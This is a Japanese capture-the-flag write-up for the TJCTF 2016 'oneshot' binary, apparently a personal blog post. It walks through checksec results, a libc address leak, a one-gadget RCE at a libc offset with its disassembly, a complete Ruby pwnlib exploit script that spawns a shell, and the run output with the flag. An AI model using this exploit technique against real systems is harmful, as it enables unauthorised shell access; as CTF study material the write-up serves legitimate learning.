簡単なやつを解いてモチベを上げた.
下調べ
vagrant@alice1000:~/c/tjctf2016$ file oneshot | sed -e 's/, /\n/g' ASLR: ON oneshot: ELF 64-bit LSB executable x86-64 version 1 (SYSV) dynamically linked interpreter /lib64/ld-linux-x86-64.so.2 for GNU/Linux 2.6.32 BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59 not stripped vagrant@alice1000:~/c/tjctf2016$ checksec --file oneshot ASLR: ON RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 oneshot
とても良心的なバイナリ
解析
バイナリ自体はミジンコみたいに小さい.読みたいアドレスを値として送ると,Value: 0xdeadbeefという形で出力してくれる.次に飛びたいアドレスを値として送るとcallで飛んでくれる.
Exploit
面倒なので,libcはすでに特定済みとして話を進める.
vagrant@alice1000:~/c/tjctf2016$ md5sum libc.so.6 ASLR: ON a3e78b9d154d9d0936d3a1fda1743479 libc.so.6
本問題では,One-gadget-rce(Dragon Sectorの資料)というガジェットを用いてシェルを奪ってみる.これはlibc内にあり,うまく条件を満たせばexecve("/bin/sh", NULL, NULL)
を実行してくれるガジェットのことである.以下に示したのが,One-gadget-rceの一例であり,今回使用したものである.
最初のmovは,環境変数の最初を指しており,それが後に,第三引数のrdxとして利用される.第二引数に利用されるrsiには,rsp+0x70が指す値が使われる.幸いこれが0になってくれたのでNULLとして利用できた.第一引数に利用されるrdiはコメントにあるとおり"/bin/sh"
を示している.したがって,オフセット0xf0567の場所に飛べば無条件でシェルが起動するということがわかる.(環境変数がNULLにならないのは見逃して)
One-gadget-rce
00000000000f0567 mov rax, qword [0x3c2eb8] 00000000000f056e lea rsi, qword [rsp+0x70] ; argument #2 for method execve 00000000000f0573 lea rdi, qword [_libc_intl_domainname+407] ; "/bin/sh", argument #1 for method execve 00000000000f057a mov rdx, qword [rax] ; argument #3 for method execve 00000000000f057d call execve
objdumpやgrep等でサクッと見つける方法があるのかもしれないが,わからなかったので,Hopperに投げて,execveが呼ばれているところを順番に見ていった(たいして数はない).
One-gadget-rceを利用して作成したexploitを以下に示す.
require 'pwnlib' host = "localhost" port = 8888 PwnTube.open(host, port) do |t| stdout = 0x600b20 stdout_offset = 0x3c4620 magic_offset = 0xf0567 t.recv_until("\n") t.sendline(stdout.to_s) stdout_leak = t.recv_capture(/: (.+)\n/)[0].to_i(16) libc_base = stdout_leak - stdout_offset t.recv_until("\n") magic_gadget = libc_base + magic_offset puts "One-gadget-rce = 0x%x" % magic_gadget #STDIN.gets t.sendline(magic_gadget.to_s) puts t.recv_until("\n") t.shell end
以下が実行結果である.
[*] connected One-gadget-rce = 0x7f94faeec567 Good luck! [*] waiting for shell... [*] interactive mode cat flag.txt tjctf{m4gic_And_m0re_Mag1cK}
感想
存在は知っていたけれど使ったことはなかった(正確には前使おうとしたが結局何かが原因で成功しなかった)ので,体験できてよかった.フラグからもわかるように完全にOne-gadget-rceが想定解放っぽい感じがある.one-gadget-rceをサクッと見つけて,NULLにしておかなくちゃいけないスタックの状況とかを可視化できるコマンドラインツールほしいね.